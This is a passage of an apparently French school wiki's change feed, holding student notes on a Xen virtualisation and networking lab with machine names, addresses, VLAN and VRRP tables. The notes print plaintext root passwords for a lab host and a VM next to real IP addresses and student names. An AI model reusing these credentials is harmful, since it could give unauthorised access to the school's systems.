&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IP de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 172.60.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.166/24&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=11411</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=11411"/>
		<updated>2026-01-26T10:33:13Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Tableau des commutateurs virtuels */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinux.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || || SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || || SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| &amp;lt;code&amp;gt;193.48.57.167&amp;lt;/code&amp;gt;|| Mohamed Salhi &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l'école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d'adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 ||&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 ||&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 ||&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=11407</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=11407"/>
		<updated>2026-01-26T10:25:14Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Tableau des commutateurs virtuels */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinux.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || || SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || || SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| &amp;lt;code&amp;gt;193.48.57.167&amp;lt;/code&amp;gt;|| Mohamed Salhi &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.4.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l'école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d'adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 ||&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 ||&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 ||&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11402</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11402"/>
		<updated>2026-01-26T10:15:43Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Configuration réseau */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : g0llum_fr0d0&lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)&lt;br /&gt;
Root Password   :  FDigbGcTyh86QnvLWyT8wh3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
